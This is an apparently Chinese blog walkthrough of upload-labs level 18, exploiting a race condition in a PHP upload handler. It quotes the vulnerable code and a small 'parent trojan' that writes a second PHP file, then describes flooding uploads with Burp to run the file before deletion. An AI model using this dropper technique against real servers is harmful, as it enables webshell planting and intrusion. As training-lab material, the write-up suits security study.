当前位置: 首页 > news >正文

upload-labs靶场通关详解:第18关 条件竞争

一、分析源代码

// 初始化上传状态标志和消息变量
$is_upload = false;
$msg = null;// 检查是否通过POST方式提交了表单(用户点击了提交按钮)
if(isset($_POST['submit'])){// 定义允许上传的文件扩展名白名单$ext_arr = array('jpg','png','gif');// 获取上传文件的原始名称(包含扩展名)$file_name = $_FILES['upload_file']['name'];// 获取服务器临时存储的文件路径$temp_file = $_FILES['upload_file']['tmp_name'];// 提取文件扩展名(从最后一个点后面的字符开始)$file_ext = substr($file_name,strrpos($file_name,".")+1);// 拼接上传目标路径(使用原始文件名)$upload_file = UPLOAD_PATH . '/' . $file_name;// 尝试将临时文件移动到目标路径if(move_uploaded_file($temp_file, $upload_file)){// 检查文件扩展名是否在白名单中if(in_array($file_ext,$ext_arr)){// 生成随机文件名(格式:两位随机数+时间戳.扩展名)$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;// 重命名文件为随机名称(防止文件名冲突)rename($upload_file, $img_path);// 设置上传成功标志$is_upload = true;}else{// 扩展名不在白名单中,设置错误消息$msg = "只允许上传.jpg|.png|.gif类型文件!";// 删除不符合扩展名要求的文件unlink($upload_file);}}else{// 文件移动失败,设置错误消息$msg = '上传出错!';}
}

这里会将上传的文件临时储存在服务器的某个路径下,再对文件进行判断,如果文件合法就转移保存,否则删除文件。

二、解题思路

仔细思考代码,无论上传什么文件它都会先临时保存再判断,不合法就删除。但是服务器做出判断是需要时间的,尽管这个时间非常短,那么能不能和时间去做一个竞争呢?假设攻击者不停地上传木马,并且不停地尝试访问,服务器也会不停地判断并删除,只要存在一个时间空隙(木马上传到临时目录正在判断还没删除的时候)让攻击者访问到了木马并执行操作,那么就成功了。

这里我们写一个父木马6.php。

<?php fputs(fopen('5.php','w'),'<?php phpinfo();?>');?>

 解释如下:

<?php
// 1. 打开文件5.php(不存在则创建,存在则覆盖)
$file = fopen('5.php', 'w');// 2. 向文件中写入PHP代码
fputs($file, '<?php phpinfo();?>');// 3. 关闭文件(代码中省略了fclose,但PHP会自动处理)
?>

父木马的作用是创建一个子木马并写入恶意代码。通过不断上传父木马并访问,只要父木马在时间间隙中被成功执行过一次,那么它就会在服务器中生成一个恶意的子木马,子木马由于不是上传的文件,所以不会被检查,就这样保存下来,从而达到目的。

三、解题步骤

1.将写好的木马通过bp工具不断上传并尝试访问。

 配置并攻击。

这里在不断地上传木马。

2.打开浏览器访问父木马,多刷新几次,会在某个时间间隙中成功访问,生成子木马5.php。

3.访问子木马,成功。

http://www.lryc.cn/news/583292.html

相关文章:

  • CMake构建项目报错“No CUDA toolset found.”
  • android——热修复(补丁)
  • [Pytest][Part 4]多种测试运行方式
  • 三、Docker常用命令
  • 安装nvm管理node.js,详细安装使用教程和详细命令
  • 字体 Unicode 区块字符展示 PDF 生成器
  • 身份证识别api-便捷生活与安全社会的双重保障
  • Ubuntu 下 MySql 使用
  • 【Unity】MiniGame编辑器小游戏(十)连连看【Link】
  • VsCode 接入Continue 远程调用(持续扩展 + DeepSeek R1)— 免本地算力
  • Vim 编辑器常用操作详解(新手快速上手指南)
  • 【Unity】MiniGame编辑器小游戏(十一)消消乐【Crush】
  • 【AI】环境——深度学习cuda+pytorch配置
  • 项目进度管控缺乏闭环,如何形成反馈机制
  • 【c++八股文】Day5:const和constexpr,define
  • 【话题长廊测试报告】
  • 【算法深练】DFS题型拆解:沿着路径“深挖到底”、递归深入、回溯回探的算法解题思路
  • Day21
  • 自然灾害应急响应场景数据资产化研究报告
  • 一台云服务器可以备案几个网站
  • 【数据分析】多数据集网络分析:探索健康与退休研究中的变量关系
  • PiscTrace应用:从 YOLO-Pose 到深蹲与引体向上计数:实时健身动作分析与实现
  • AI芯片产品经理:算力革命的架构师
  • 【macOS】【Swift】【RTF】黑色文字在macOS深色外观下看不清的解决方法
  • 【洁净室自净时间测试】检测粒径选择的深入分析与优化建议
  • python实践思路(草拟计划+方法)
  • HashMap的get、put流程源码分析
  • sql查询davinci看板数据
  • 《解构this:JavaScript中动态指向的隐秘逻辑》
  • PHP语法高级篇(一):日期时间处理和包含文件